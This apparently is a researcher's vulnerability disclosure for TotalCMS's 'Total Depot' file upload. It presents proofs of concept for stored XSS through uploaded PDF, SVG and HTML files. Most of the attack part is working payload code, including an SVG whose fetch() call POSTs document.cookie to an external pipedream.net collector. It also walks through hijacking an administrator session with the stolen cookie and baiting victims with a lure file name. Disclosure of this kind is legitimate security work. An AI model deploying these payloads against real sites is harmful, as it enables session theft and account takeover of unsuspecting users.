sromanhu/totalcms-arbitrary_file-upload--xss_steal_cookies---totaldepotTotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting (XSS) Stored and also stealing session cookies
Description: TotalCMS is affected by Arbitrary File Upload - XSS vulnerability which allows Cross-Site Scriting (XSS) and also stealing session cookies
Attack Vectors: A vulnerability in "Total Depot" file upload sanitation allows you to upload a PDF / SVG /HTML file with hidden alert Cross-Site scripting (XSS) and steal the user cookies.
I am going to do 2 PoCS:
We start with the first PoC:
When logging into the admin panel (https://www.totalcms.co/demo/total-cms/admin/), we will go to the "Total Depot" off the Administration Site and we upload the PDF/ SVG/ and HTML files with the hidden XSS.
We modify the payload to steal cookies and send them to the pipedream Request, so that we can impersonate the user. Now we are going to impersonate the user. To test it, we open a session to TotalCMS/admin in another browser and open the "Cookie Editor" addon.There is the payloads:
It is an XSS payload generated with the JS2PDFInjector tool and a js payload that contains the following content:
app.alert("XSS");
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(document.location);
</script>
</svg>
<html>
<script>
alert(document.cookie);
</script>
</html>
Once uploaded, if we click on the link we can see the path where they are stored:
PATH of the files:
And this is the result with the Cross-Site Scripting (XSS) of the 3 types of files and with the user's cookies:
We continue with the second PoC:
We are going to pretend that we are a cybercriminal and we are going to steal the user's session cookies and they will be sent to the server.
In this case I have uploaded a file as PoC but in a real case, we can upload a file with an interesting name "NBA Tickets" and publish it, so that the victim user sends me the cookies when executing the file, without realizing it. of it.
Firs of all, we perform a test to see if we have communication with an external server.
There is the payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script xlink:href="https://enbjn0l9vbowi.x.pipedream.net/" />
<script>
//<![CDATA[
alert("XSS");
]]>
</script>
</svg>
As we see in the pipedream Request, we have obtained the request correctly.
There is the payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC
"-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="200"
height="200"
zoomAndPan="disable"
xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
xml:space="preserve">
<!-- Script linked from the outside-->
<script>
fetch('https://enbjn0l9vbowi.x.pipedream.net/', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script>
</svg>
We execute it:
As we see in the image, we have correctly obtained the user's session cookies.
We modify the session cookie to the one obtained in pipestream and save.
We reloaded the website and we have impersonated the administrator user.
